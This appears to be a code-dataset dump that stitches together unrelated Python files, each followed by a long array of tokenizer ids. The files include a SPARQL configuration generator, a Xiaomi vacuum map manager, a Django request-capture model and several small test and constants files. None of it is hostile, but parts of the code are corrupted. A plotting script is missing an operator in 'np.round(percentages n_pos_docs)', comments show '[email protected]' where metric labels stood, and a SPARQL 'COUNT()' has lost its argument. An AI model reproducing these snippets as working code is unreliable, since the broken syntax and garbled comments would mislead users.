defaultGraph=defaultGraph, lang=lang) query_owlObjectProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_owlDatatypeProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_rdfProperty(sparql_endpoint, defaultGraph= defaultGraph, lang= lang) for p in properties: properties[p]["urls"] = list(properties[p]["urls"]) #with open("./slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def main(argv): endpoint = "" # e.g., "http://dbpedia.org/sparql" defaultGraph = "" # e.g., "http://dbpedia.org" lang = None #"en" default invocation_name = None #"my personal assistant" default intents = [ "getAllResultsPreviousQuery", "getQueryExplanation", "getFurtherDetails", "getPropertyObject", "getDescription", "getNumericFilter", "getNumericFilterByClass", "getClassInstances", "getTripleVerification", "getLocation", "getSuperlative", "getPropertySubjectByClass", "getPropertySubject" ] result_limit = 5 if len(argv) == 0: print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit(2) try: opts, args = getopt.getopt(argv,"he:g:li:",["endpoint=","graph=","lang","invocation_name"]) except getopt.GetoptError: print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit(2) for opt, arg in opts: if opt == '-h': print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit() elif opt in ("-e", "--endpoint"): endpoint = arg elif opt in ("-g", "--graph"): defaultGraph = arg elif opt in ("-l", "--lang") and (arg == "en" or arg == "it"): lang = arg elif opt in ("-i", "--invocation_name"): invocation_name = arg if lang is None: lang="en" if invocation_name is None: invocation_name = "my personal assistant" print('SPARQL endpoint: ', endpoint) print('Graph: ', defaultGraph) print('Lang: ', lang) print('Invocation name: ', invocation_name) print("Querying entities...") query_entities(endpoint, defaultGraph=defaultGraph, lang=lang) print("Cleaning class labels...") clean_slot_entities() #print("Augmenting class labels...") #augment_slot_entities() print("Querying properties...") query_properties(endpoint, defaultGraph=defaultGraph, lang=lang) print("Cleaning property labels...") clean_slot_properties() print("Augmenting property labels...") augment_slot_properties() remove_ambiguities_slot_properties() ''' with open('./augmented_slot_properties.json') as f: properties = json.load(f) ''' if "label" in properties and len(properties["label"]["urls"])>1: dict_label = {} for prop_label in properties["label"]["urls"]: sparql = SPARQLWrapper(endpoint, defaultGraph=defaultGraph) query = ("SELECT COUNT() as ?count WHERE { " "?s " + prop_label + " ?o. " "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() result = result['results']['bindings'][0] dict_label[prop_label] = result['count']['value'] except: pass key_max = max(dict_label, key= lambda x: dict_label[x]) properties["label"]["urls"] = [key_max] ''' with open('./cleaned_slot_entities.json') as f: entities = json.load(f) ''' conf = { "invocation_name" : invocation_name, "intents" : intents, "lang" : lang, "result_limit" : result_limit, "endpoint" : endpoint, "entity" : entities, "property" : properties } with open("./conf.json", "w") as write_file: json.dump(conf, write_file, indent=4) if __name__ == "__main__": main(sys.argv[1:])	[ 1, 515, 302, 1896, 29895, 29889, 2616, 13364, 1053, 1734, 1212, 408, 281, 29876, 13, 5215, 4390, 13, 3166, 11451, 7192, 781, 1053, 679, 3596, 25433, 5942, 29892, 679, 25433, 1464, 13, 5215, 337, 13, 5215, 3041, 781, 13, 5215, 3142, 1982, 29889, 5510, 13, 3166, 10937, 1718, 2239, 15646, 1053, 10937, 1718, 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29896, 29901, 2314, 13, 268, 13, 13, 2 ]
tests/test_library.py	dsecca/FotoFriend_LanguageBinding	0	150335	import pytest import fotofriend import urllib.request import os class TestLibrary: def test_login(self): links = fotofriend.login("fotofriendtest") assert links == { 'Links': ['https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/dog.jpg'] } @pytest.mark.dependency() def test_upload(self): urllib.request.urlretrieve('http://www.catster.com/wp-content/uploads/2017/08/A-fluffy-cat-looking-funny-surprised-or-concerned.jpg', 'tmp.jpg') file = open('tmp.jpg', 'rb').read() code = fotofriend.uploadImage(file, "tmp.jpg", "fotofriendtest") os.remove("tmp.jpg") assert code == 1 @pytest.mark.dependency(depends=['test_upload']) def test_delete(self): code = fotofriend.deleteImage("https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/tmp.jpg", "fotofriendtest") assert code == 200 def test_filter(self): links = fotofriend.filter(["dog"], "fotofriendtest") assert links == { 'Links': ['https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/dog.jpg'] }	[ 1, 1053, 11451, 1688, 13, 5215, 10105, 974, 374, 355, 13, 5215, 3142, 1982, 29889, 3827, 13, 5215, 2897, 13, 13, 1990, 4321, 12284, 29901, 13, 1678, 822, 1243, 29918, 7507, 29898, 1311, 1125, 13, 4706, 2988, 353, 10105, 974, 374, 355, 29889, 7507, 703, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 4974, 2988, 1275, 426, 525, 6595, 29879, 2396, 6024, 991, 597, 29879, 29941, 29899, 375, 29899, 5933, 29899, 29906, 29889, 17260, 10467, 29889, 510, 29914, 29888, 3747, 29899, 18326, 29914, 29945, 29874, 29896, 29947, 29946, 29947, 29953, 29941, 29906, 12328, 29946, 29953, 29946, 29941, 29906, 29955, 29896, 29941, 915, 29953, 29953, 29881, 29914, 26169, 29889, 6173, 2033, 500, 13, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 10836, 580, 13, 1678, 822, 1243, 29918, 9009, 29898, 1311, 1125, 13, 4706, 3142, 1982, 29889, 3827, 29889, 2271, 276, 509, 2418, 877, 1124, 597, 1636, 29889, 4117, 2475, 29889, 510, 29914, 11912, 29899, 3051, 29914, 9009, 29879, 29914, 29906, 29900, 29896, 29955, 29914, 29900, 29947, 29914, 29909, 29899, 1579, 3096, 29891, 29899, 4117, 29899, 23261, 29899, 7692, 1460, 29899, 7610, 558, 3368, 29899, 272, 29899, 535, 29883, 824, 287, 29889, 6173, 742, 525, 7050, 29889, 6173, 1495, 13, 4706, 934, 353, 1722, 877, 7050, 29889, 6173, 742, 525, 6050, 2824, 949, 580, 13, 4706, 775, 353, 10105, 974, 374, 355, 29889, 9009, 2940, 29898, 1445, 29892, 376, 7050, 29889, 6173, 613, 376, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 2897, 29889, 5992, 703, 7050, 29889, 6173, 1159, 13, 4706, 4974, 775, 1275, 29871, 29896, 13, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 10836, 29898, 2716, 1975, 29922, 1839, 1688, 29918, 9009, 11287, 13, 1678, 822, 1243, 29918, 8143, 29898, 1311, 1125, 13, 4706, 775, 353, 10105, 974, 374, 355, 29889, 8143, 2940, 703, 991, 597, 29879, 29941, 29899, 375, 29899, 5933, 29899, 29906, 29889, 17260, 10467, 29889, 510, 29914, 29888, 3747, 29899, 18326, 29914, 29945, 29874, 29896, 29947, 29946, 29947, 29953, 29941, 29906, 12328, 29946, 29953, 29946, 29941, 29906, 29955, 29896, 29941, 915, 29953, 29953, 29881, 29914, 7050, 29889, 6173, 613, 376, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 4974, 775, 1275, 29871, 29906, 29900, 29900, 13, 13, 1678, 822, 1243, 29918, 4572, 29898, 1311, 1125, 13, 4706, 2988, 353, 10105, 974, 374, 355, 29889, 4572, 29898, 3366, 26169, 12436, 376, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 4974, 2988, 1275, 426, 525, 6595, 29879, 2396, 6024, 991, 597, 29879, 29941, 29899, 375, 29899, 5933, 29899, 29906, 29889, 17260, 10467, 29889, 510, 29914, 29888, 3747, 29899, 18326, 29914, 29945, 29874, 29896, 29947, 29946, 29947, 29953, 29941, 29906, 12328, 29946, 29953, 29946, 29941, 29906, 29955, 29896, 29941, 915, 29953, 29953, 29881, 29914, 26169, 29889, 6173, 2033, 500, 2 ]
colornumber.py	kkdp13/testforbot	0	197499	# colorcodingfor rows(...) def colornumber(color): if color == 'd': return 0 elif color == 'e': return 1 elif color == 'f': return 2 elif color == 'g': return 3 elif color == 'h': return 4 elif color == 'i': return 5 elif color == 'j': return 6 elif color == 'k': return 7 elif color == 'l': return 8 else: return 9	[ 1, 396, 2927, 29883, 3689, 1454, 4206, 19327, 8443, 13, 1753, 784, 1398, 2807, 29898, 2780, 1125, 30004, 13, 1678, 565, 2927, 1275, 525, 29881, 2396, 30004, 13, 4706, 736, 29871, 29900, 30004, 13, 1678, 25342, 2927, 1275, 525, 29872, 2396, 30004, 13, 4706, 736, 29871, 29896, 30004, 13, 1678, 25342, 2927, 1275, 525, 29888, 2396, 30004, 13, 4706, 736, 29871, 29906, 30004, 13, 1678, 25342, 2927, 1275, 525, 29887, 2396, 30004, 13, 4706, 736, 29871, 29941, 30004, 13, 1678, 25342, 2927, 1275, 525, 29882, 2396, 30004, 13, 4706, 736, 29871, 29946, 30004, 13, 1678, 25342, 2927, 1275, 525, 29875, 2396, 30004, 13, 4706, 736, 29871, 29945, 30004, 13, 1678, 25342, 2927, 1275, 525, 29926, 2396, 30004, 13, 4706, 736, 29871, 29953, 30004, 13, 1678, 25342, 2927, 1275, 525, 29895, 2396, 30004, 13, 4706, 736, 29871, 29955, 30004, 13, 1678, 25342, 2927, 1275, 525, 29880, 2396, 30004, 13, 4706, 736, 29871, 29947, 30004, 13, 1678, 1683, 29901, 30004, 13, 4706, 736, 29871, 29929, 2 ]
pyppi/base/constants.py	Aniket-Pradhan/pyPPI	7	1609726	<gh_stars>1-10 """Definitions of some commonly used variables throughout the application.""" __all__ = [ 'P1', 'P2', 'G1', 'G2', 'SOURCE', 'TARGET', 'LABEL', 'PUBMED', 'EXPERIMENT_TYPE', 'NULL_VALUES', ] import numpy as np P1 = 'protein_a' P2 = 'protein_b' G1 = 'gene_a' G2 = 'gene_b' SOURCE = 'source' TARGET = 'target' LABEL = 'label' PUBMED = 'pubmed' EXPERIMENT_TYPE = 'experiment_type' NULL_VALUES = ( '', 'None', 'NaN', 'none', 'nan', '-', 'unknown', None, ' ', np.NaN ) MAX_SEED = 1000000	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 3206, 262, 2187, 310, 777, 15574, 1304, 3651, 10106, 278, 2280, 1213, 15945, 13, 13, 1649, 497, 1649, 353, 518, 13, 1678, 525, 29925, 29896, 742, 525, 29925, 29906, 742, 525, 29954, 29896, 742, 525, 29954, 29906, 742, 13, 1678, 525, 27839, 4741, 742, 525, 29911, 1718, 7194, 742, 525, 24461, 6670, 742, 13, 1678, 525, 7056, 29933, 2303, 29928, 742, 525, 5746, 13171, 7833, 3919, 29918, 11116, 742, 525, 10074, 29918, 8932, 12996, 742, 13, 29962, 13, 13, 5215, 12655, 408, 7442, 13, 13, 13, 29925, 29896, 353, 525, 14676, 262, 29918, 29874, 29915, 13, 29925, 29906, 353, 525, 14676, 262, 29918, 29890, 29915, 13, 29954, 29896, 353, 525, 29887, 1600, 29918, 29874, 29915, 13, 29954, 29906, 353, 525, 29887, 1600, 29918, 29890, 29915, 13, 27839, 4741, 353, 525, 4993, 29915, 13, 29911, 1718, 7194, 353, 525, 5182, 29915, 13, 24461, 6670, 353, 525, 1643, 29915, 13, 7056, 29933, 2303, 29928, 353, 525, 5467, 2168, 29915, 13, 5746, 13171, 7833, 3919, 29918, 11116, 353, 525, 735, 15362, 29918, 1853, 29915, 13, 10074, 29918, 8932, 12996, 353, 313, 13, 1678, 15516, 525, 8516, 742, 525, 19377, 742, 525, 9290, 742, 525, 13707, 742, 17411, 742, 525, 26690, 742, 6213, 29892, 525, 13420, 7442, 29889, 19377, 13, 29897, 13, 12648, 29918, 1660, 3352, 353, 29871, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 13, 2 ]
custom_components/xiaomi_cloud_map_extractor/vacuum_manager.py	elad-bar/Home-Assistant-custom-components-Xiaomi-Cloud-Map-Extractor	0	29139	import io import logging import time from typing import List, Optional from custom_components.xiaomi_cloud_map_extractor.common.map_data import MapData from custom_components.xiaomi_cloud_map_extractor.types import Colors, Drawables, ImageConfig, Sizes, Texts try: from miio import RoborockVacuum, DeviceException except ImportError: from miio import Vacuum as RoborockVacuum, DeviceException import PIL.Image as Image from homeassistant.const import CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_TOKEN, CONF_USERNAME from custom_components.xiaomi_cloud_map_extractor.common.map_data_parser import MapDataParser from custom_components.xiaomi_cloud_map_extractor.common.xiaomi_cloud_connector import XiaomiCloudConnector from custom_components.xiaomi_cloud_map_extractor.const import * from custom_components.xiaomi_cloud_map_extractor.dreame.vacuum import DreameVacuum from custom_components.xiaomi_cloud_map_extractor.enums import CameraStatus from custom_components.xiaomi_cloud_map_extractor.roidmi.vacuum import RoidmiVacuum from custom_components.xiaomi_cloud_map_extractor.unsupported.vacuum import UnsupportedVacuum from custom_components.xiaomi_cloud_map_extractor.viomi.vacuum import ViomiVacuum from custom_components.xiaomi_cloud_map_extractor.xiaomi.vacuum import XiaomiVacuum _LOGGER = logging.getLogger(__name__) DEVICE_MAPPING = { CONF_AVAILABLE_API_XIAOMI: XiaomiVacuum, CONF_AVAILABLE_API_VIOMI: ViomiVacuum, CONF_AVAILABLE_API_ROIDMI: RoidmiVacuum, CONF_AVAILABLE_API_DREAME: DreameVacuum, } STATUS_LOG_LEVEL = { CameraStatus.FAILED_TO_RETRIEVE_DEVICE: _LOGGER.error, CameraStatus.UNABLE_TO_PARSE_MAP: _LOGGER.warning, CameraStatus.UNABLE_TO_RETRIEVE_MAP: _LOGGER.warning } class VacuumManager: def __init__(self, config): host: str = config[CONF_HOST] token: str = config[CONF_TOKEN] username: str = config[CONF_USERNAME] password: str = config[CONF_PASSWORD] drawables = config.get(CONF_DRAW, []) room_colors = config.get(CONF_ROOM_COLORS, {}) colors: Colors = config.get(CONF_COLORS, {}) for room, color in room_colors.items(): colors[f"{COLOR_ROOM_PREFIX}{room}"] = color self._vacuum = RoborockVacuum(host, token) self._connector = XiaomiCloudConnector(username, password) self._name: str = config.get(CONF_NAME, DEFAULT_NAME) self._should_poll: bool = config.get(CONF_AUTO_UPDATE, True) self._image_config: ImageConfig = config.get(CONF_MAP_TRANSFORM, DEFAULT_MAP_TRANSFORM) self._colors: Colors = colors self._drawables: Drawables = CONF_AVAILABLE_DRAWABLES[1:] if DRAWABLE_ALL in drawables else drawables self._sizes: Sizes = config.get(CONF_SIZES, DEFAULT_SIZES) self._texts: Texts = config.get(CONF_TEXTS, []) self._country: str = config.get(CONF_COUNTRY) self._allowed_attributes: List[str] = config.get(CONF_ATTRIBUTES, []) self._store_map_raw: bool = config.get(CONF_STORE_MAP_RAW, False) self._store_map_image: bool = config.get(CONF_STORE_MAP_IMAGE) self._store_map_path: str = config.get(CONF_STORE_MAP_PATH, DEFAULT_STORE_MAP_PATH) self._forced_api: str = config.get(CONF_FORCE_API) self._device = None self._used_api = None self._map_saved = None self._image = None self._map_data = None self._logged_in = False self._logged_in_previously = True self._received_map_name_previously = True self._attributes = {} self._status = CameraStatus.INITIALIZING @property def image(self) -> Optional[bytes]: return self._image @property def name(self): return self._name @property def attributes(self): return self._attributes @property def should_poll(self): return self._should_poll def turn_on(self): self._should_poll = True def turn_off(self): self._should_poll = False def _get_attributes_data(self): map_data = self._map_data rooms = [] if self._map_data.rooms is not None: rooms = dict( filter(lambda x: x[0] is not None, map(lambda x: (x[0], x[1].name), self._map_data.rooms.items()))) if len(rooms) == 0: rooms = list(self._map_data.rooms.keys()) attributes = { ATTRIBUTE_CALIBRATION: map_data.calibration(), ATTRIBUTE_CHARGER: map_data.charger, ATTRIBUTE_CLEANED_ROOMS: map_data.cleaned_rooms, ATTRIBUTE_COUNTRY: self._country, ATTRIBUTE_GOTO: map_data.goto, ATTRIBUTE_GOTO_PATH: map_data.goto_path, ATTRIBUTE_GOTO_PREDICTED_PATH: map_data.predicted_path, ATTRIBUTE_IGNORED_OBSTACLES: map_data.ignored_obstacles, ATTRIBUTE_IGNORED_OBSTACLES_WITH_PHOTO: map_data.ignored_obstacles_with_photo, ATTRIBUTE_IMAGE: map_data.image, ATTRIBUTE_IS_EMPTY: map_data.image.is_empty, ATTRIBUTE_MAP_NAME: map_data.map_name, ATTRIBUTE_NO_GO_AREAS: map_data.no_go_areas, ATTRIBUTE_NO_MOPPING_AREAS: map_data.no_mopping_areas, ATTRIBUTE_OBSTACLES: map_data.obstacles, ATTRIBUTE_OBSTACLES_WITH_PHOTO: map_data.obstacles_with_photo, ATTRIBUTE_PATH: map_data.path, ATTRIBUTE_ROOM_NUMBERS: rooms, ATTRIBUTE_ROOMS: map_data.rooms, ATTRIBUTE_VACUUM_POSITION: map_data.vacuum_position, ATTRIBUTE_VACUUM_ROOM: map_data.vacuum_room, ATTRIBUTE_VACUUM_ROOM_NAME: map_data.vacuum_room_name, ATTRIBUTE_WALLS: map_data.walls, ATTRIBUTE_ZONES: map_data.zones } return attributes def _update_attributes(self): attributes = {} if self._map_data is not None: data = self._get_attributes_data() for name, value in data.items(): if name in self._allowed_attributes: attributes[name] = value if self._store_map_raw: attributes[ATTRIBUTE_MAP_SAVED] = self._map_saved if self._device is not None: attributes[ATTR_MODEL] = self._device.model attributes[ATTR_USED_API] = self._used_api if self._connector.two_factor_auth_url is not None: attributes[ATTR_TWO_FACTOR_AUTH] = self._connector.two_factor_auth_url self._attributes = attributes def update(self, now): counter = 10 if self._status != CameraStatus.TWO_FACTOR_AUTH_REQUIRED and not self._logged_in: self._handle_login() if self._device is None and self._logged_in: self._handle_device() map_name = self._handle_map_name(counter) if map_name == "retry" and self._device is not None: self._set_status(CameraStatus.FAILED_TO_RETRIEVE_MAP_FROM_VACUUM) self._received_map_name_previously = map_name != "retry" if self._logged_in and map_name != "retry" and self._device is not None: self._handle_map_data(map_name) else: exists = self._device is not None _LOGGER.debug( f"Unable to retrieve map ({now}), " f"Logged in: {self._logged_in} \| " f"Map name: {map_name} \| " f"Device retrieved: {exists}" ) message = str(self._status) map_data = MapDataParser.create_empty(self._colors, message) self._set_map_data(map_data) self._logged_in_previously = self._logged_in self._update_attributes() def _handle_login(self): _LOGGER.debug("Logging in...") self._logged_in = self._connector.login() if self._logged_in is None: self._set_status(CameraStatus.TWO_FACTOR_AUTH_REQUIRED) elif self._logged_in: self._set_status(CameraStatus.LOGGED_IN) else: self._set_status(CameraStatus.FAILED_LOGIN) if self._logged_in_previously: _LOGGER.error("Unable to log in, check credentials") def _handle_device(self): _LOGGER.debug(f"Retrieving device info, country: {self._country}") country, user_id, device_id, model = self._connector.get_device_details(self._vacuum.token, self._country) if model is not None: self._country = country _LOGGER.debug(f"Retrieved device model: {model}") self._used_api = self._detect_api(model) device_init = DEVICE_MAPPING.get(self._used_api, UnsupportedVacuum) self._device = device_init(self._connector, self._country, user_id, device_id, model) _LOGGER.debug(f"Created device, used api: {self._used_api}") else: self._set_status(CameraStatus.FAILED_TO_RETRIEVE_DEVICE) def _handle_map_name(self, counter): map_name = "retry" if self._device is not None and not self._device.should_get_map_from_vacuum(): map_name = "0" while map_name == "retry" and counter > 0: _LOGGER.debug("Retrieving map name from device") time.sleep(0.1) try: map_name = self._vacuum.map()[0] _LOGGER.debug("Map name %s", map_name) except OSError as exc: _LOGGER.error(f"Got OSError while fetching the state: {str(exc)}") except DeviceException as exc: if self._received_map_name_previously: _LOGGER.warning(f"Got exception while fetching the state: {str(exc)}") self._received_map_name_previously = False finally: counter = counter - 1 return map_name def _handle_map_data(self, map_name): _LOGGER.debug("Retrieving map from Xiaomi cloud") store_map_path = self._store_map_path if self._store_map_raw else None map_data, map_stored = self._device.get_map(map_name, self._colors, self._drawables, self._texts, self._sizes, self._image_config, store_map_path) if map_data is not None: # noinspection PyBroadException try: _LOGGER.debug("Map data retrieved") self._set_map_data(map_data) self._map_saved = map_stored if self._map_data.image.is_empty: self._set_status(CameraStatus.EMPTY_MAP) if self._map_data is None or self._map_data.image.is_empty: self._set_map_data(map_data) else: self._set_map_data(map_data) self._set_status(CameraStatus.OK) except Exception as ex: self._set_status(CameraStatus.UNABLE_TO_PARSE_MAP, ex) else: self._logged_in = False self._set_status(CameraStatus.UNABLE_TO_RETRIEVE_MAP) def _set_status(self, status, ex: Optional[Exception] = None): log = STATUS_LOG_LEVEL.get(status, _LOGGER.debug) log_message = status if ex is not None: log_message = f"{status}, Error: {str(ex)}" self._status = status log(log_message) def _set_map_data(self, map_data: MapData): img_byte_arr = io.BytesIO() map_data.image.data.save(img_byte_arr, format='PNG') self._image = img_byte_arr.getvalue() self._map_data = map_data self._store_image() def _detect_api(self, model: str): if self._forced_api is not None: return self._forced_api if model in API_EXCEPTIONS: return API_EXCEPTIONS[model] def list_contains_model(prefixes): return len(list(filter(lambda x: model.startswith(x), prefixes))) > 0 filtered = list(filter(lambda x: list_contains_model(x[1]), AVAILABLE_APIS.items())) if len(filtered) > 0: return filtered[0][0] return CONF_AVAILABLE_API_XIAOMI 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docs/stats_explainer.py	msdslab/ASReview-vizualisation	1	78189	"""Create example plot with different metrics. Example ------- python docs/stats_explainer.py """ import matplotlib.pyplot as plt import numpy as np from asreviewcontrib.insights.plot import _fix_start_tick # The recall at a given number of documents read is the fraction of the # relevant records found at that moment. (recall = n_pos_records / n_records) # The old RRF@X (relevant records found) is basically the same as the recall. # The WSS@X (work saved over sampling) is the number of records you need to # read less to find the fraction X of relevant records. (wss = recall - recall_random) # The (my suggestion for a name) ERF@X (extra records found) is the number of # extra relevant records found after reading a fraction X of the total number of # records. # Create fictive data. n_docs = 1000 n_pos_docs = 30 percentages = np.array([x*(1 / 3) for x in np.linspace(0, 1, n_docs)]) n_docs_found = np.round(percentages n_pos_docs) labels = [ n_docs_found[i + 1] - n_docs_found[i] for i in range(len(n_docs_found) - 1) ] + [0] labels[0] = 1 labels[5] = 1 labels[8] = 1 # Plot the recall curve. fig, ax = plt.subplots() x = list(range(1, n_docs + 1)) # Recall curve. recall = np.cumsum(labels) / np.sum(labels) ax.step(x, recall, where='post') # Random recall_random = np.round(np.linspace(0, n_pos_docs, n_docs)) / np.sum(labels) ax.step(x, recall_random, where='post', color="black") # Add the [email protected] line (recall > 0.5 at 137, recall_random 0.5 at 517). ax.plot((137, 137), (137 / 1000, recall[137]), color='red') erf_x_offset = -70 ax.text(137 + erf_x_offset, (137 / 1000 + recall[137]) * 0.9 / 2, 'ERF', color='red') # Add the [email protected] line. ax.plot((137, 517), (recall[137], recall[137]), color='blue') wss_y_offset = 0.03 ax.text((137 + recall[137] * 1000) / 2, recall[137] + wss_y_offset, 'WSS', color='blue') ax.set_title("Explaining Recall, WSS and ERF") ax.set(xlabel='#', ylabel='Recall') ax.set_ylim([-0.05, 1.05]) ax.set_yticks([0, 0.2, 0.4, 0.6, 0.8, 1.0]) ax.xaxis.get_major_locator().set_params(integer=True) _fix_start_tick(ax) fig.savefig('docs/stats_explainer.png')	[ 1, 9995, 4391, 1342, 6492, 411, 1422, 21556, 29889, 13, 13, 14023, 13, 26589, 13, 13, 4691, 10561, 29914, 16202, 29918, 4548, 433, 4983, 29889, 2272, 13, 15945, 29908, 13, 13, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 12655, 408, 7442, 13, 13, 3166, 408, 27828, 21570, 29889, 1144, 5861, 29889, 5317, 1053, 903, 5878, 29918, 2962, 29918, 24667, 13, 13, 29937, 450, 17386, 472, 263, 2183, 1353, 310, 10701, 1303, 338, 278, 15958, 310, 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bucket/models.py	passuf/blackhole	0	166731	<filename>bucket/models.py import json import uuid import traceback from picklefield.fields import PickledObjectField from django.db import models from django.utils.translation import ugettext_lazy as _ from django.conf import settings class Bucket(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4) title = models.CharField(_('Title'), max_length=255) description = models.CharField(_('Description'), max_length=255, blank=True, null=True) active = models.BooleanField(_('Active'), default=True) created_at = models.DateTimeField(_('Created at'), auto_now_add=True) modified_at = models.DateTimeField(_('Modified at'), auto_now=True) @property def url(self): return '{base_url}/{id}/'.format(base_url=settings.BASE_URL, id=self.id) def __str__(self): return self.title class Request(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4) bucket = models.ForeignKey(Bucket, related_name='requests', on_delete=models.CASCADE) comments = models.TextField(_('Comments'), blank=True, null=True) method = models.CharField(_('Method'), max_length=255, blank=True, null=True) headers = models.TextField(_('Headers'), blank=True, null=True) remote_address = models.CharField(_('Remote Address'), max_length=255, blank=True, null=True) host = models.CharField(_('Host'), max_length=255, blank=True, null=True) http_referer = models.CharField(_('HTTP Referer'), max_length=255, blank=True, null=True) path = models.CharField(_('Path'), max_length=255, blank=True, null=True) query_strings = models.TextField(_('Query Strings'), blank=True, null=True) body = models.TextField(_('Body'), blank=True, null=True) response_code = models.IntegerField(_('Response Code'), blank=True, null=True) form_data = models.TextField('Form Data', blank=True, null=True) cookies = models.TextField(_('Cookies'), blank=True, null=True) error = models.TextField(_('Error'), blank=True, null=True) custom_values = PickledObjectField(_('Custom Values'), blank=True, null=True) created_at = models.DateTimeField(_('Created at'), auto_now_add=True) modified_at = models.DateTimeField(_('Modified at'), auto_now=True) def __str__(self): if self.method and self.path: return '{method} {path}'.format(method=self.method, path=self.path) return str(self.created_at) class RequestFactory: @staticmethod def from_request(request, bucket): req = Request.objects.create( bucket=bucket, path=request.path, method=request.method, host=request.get_host(), custom_values={}, ) errors = '' header = dict(request.META) # Parse the HEADER try: # Find non-serializable keys keys_to_remove = [] for key in header.keys(): # Remove WSGI related keys if key.startswith('wsgi.'): keys_to_remove.append(key) continue # Try if object is serializable try: json.dumps(header[key]) except Exception: keys_to_remove.append(key) continue # Remove invalid keys for key in keys_to_remove: header.pop(key, None) # Finally try to parse the header req.headers = json.dumps(header) except Exception as e: print(e, traceback.format_exc()) req.headers = header errors += '\n' + str(traceback.format_exc()) # Parse the remote address try: x_forwarded_for = header.get('HTTP_X_FORWARDED_FOR') if x_forwarded_for: req.remote_address = x_forwarded_for.split(',')[0] else: req.remote_address = header.get('REMOTE_ADDR') except Exception as e: print(e, traceback.format_exc()) req.remote_address = 'error' errors += '\n' + str(traceback.format_exc()) # Parse the HTTP Referer try: req.http_referer = header.get('HTTP_REFERER') except Exception as e: print(e, traceback.format_exc()) req.http_referer = 'error' errors += '\n' + str(traceback.format_exc()) # Parse the body try: req.body = json.dumps(request.body.decode('utf-8')) except Exception as e: print(e, traceback.format_exc()) req.body = 'error' errors += '\n' + str(traceback.format_exc()) # Parse GET params try: req.query_strings = json.dumps(request.GET) except Exception as e: print(e, traceback.format_exc()) req.query_strings = 'error' errors += '\n' + str(traceback.format_exc()) # Parse POST params try: req.form_data = json.dumps(request.POST) except Exception as e: print(e, traceback.format_exc()) req.form_data = 'error' errors += '\n' + str(traceback.format_exc()) # Parse Cookies try: req.cookies = json.dumps(request.COOKIES) except Exception as e: print(e, traceback.format_exc()) req.cookies = 'error' errors += '\n' + str(traceback.format_exc()) if errors: req.error = errors req.response_code = 400 # Save the request req.save() return req	[ 1, 529, 9507, 29958, 21454, 29914, 9794, 29889, 2272, 13, 5215, 4390, 13, 5215, 318, 5416, 13, 5215, 9637, 1627, 13, 3166, 5839, 280, 2671, 29889, 9621, 1053, 23868, 839, 2061, 3073, 13, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 3166, 9557, 29889, 13239, 29889, 3286, 18411, 1053, 318, 657, 726, 29918, 433, 1537, 408, 903, 13, 3166, 9557, 29889, 5527, 1053, 6055, 13, 13, 13, 1990, 16281, 300, 29898, 9794, 29889, 3195, 1125, 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invoice/tests.py	Chris7/django-invoice	139	60020	<reponame>Chris7/django-invoice<filename>invoice/tests.py import datetime from django.test import TestCase from django.contrib.auth.models import User from addressbook.models import Address, Country from .models import Invoice class InvoiceTestCase(TestCase): def setUp(self): usr = User.objects.create(username='test', first_name='John', last_name='Doe', email='<EMAIL>') country = Country.objects.create(name='TestCountry') address = Address.objects.create(contact_name='<NAME>', address_one='Street', town='Town', postcode='PostCode', country=country) self.inv = Invoice.objects.create(user=usr, address=address) def testInvoiceId(self): inv = self.inv self.assertEquals(inv.invoice_id, u'TTH9R') inv.invoice_id = False inv.save() self.assertEquals(inv.invoice_id, u'TTH9R') def testGetDue(self): inv = self.inv inv.draft = True inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0) inv.draft = False inv.save() self.assertEquals(len(Invoice.objects.get_due()), 1) inv.invoiced = True inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0) today = datetime.date.today() yesterday = today - datetime.timedelta(1) tomorrow = today + datetime.timedelta(1) inv.invoiced = False inv.invoice_date = yesterday inv.save() self.assertEquals(len(Invoice.objects.get_due()), 1) inv.invoice_date = tomorrow inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0)	[ 1, 529, 276, 1112, 420, 29958, 11626, 275, 29955, 29914, 14095, 29899, 262, 14917, 29966, 9507, 29958, 262, 14917, 29914, 21150, 29889, 2272, 13, 5215, 12865, 13, 13, 3166, 9557, 29889, 1688, 1053, 4321, 8259, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 9794, 1053, 4911, 13, 3166, 3211, 2909, 29889, 9794, 1053, 16428, 29892, 15456, 13, 13, 3166, 869, 9794, 1053, 512, 14917, 13, 13, 13, 1990, 512, 14917, 3057, 8259, 29898, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 502, 29878, 353, 4911, 29889, 12650, 29889, 3258, 29898, 6786, 2433, 1688, 742, 13, 462, 462, 29871, 937, 29918, 978, 2433, 11639, 742, 13, 462, 462, 29871, 1833, 29918, 978, 2433, 6132, 29872, 742, 13, 462, 462, 29871, 4876, 2433, 29966, 26862, 6227, 29958, 1495, 13, 13, 4706, 4234, 353, 15456, 29889, 12650, 29889, 3258, 29898, 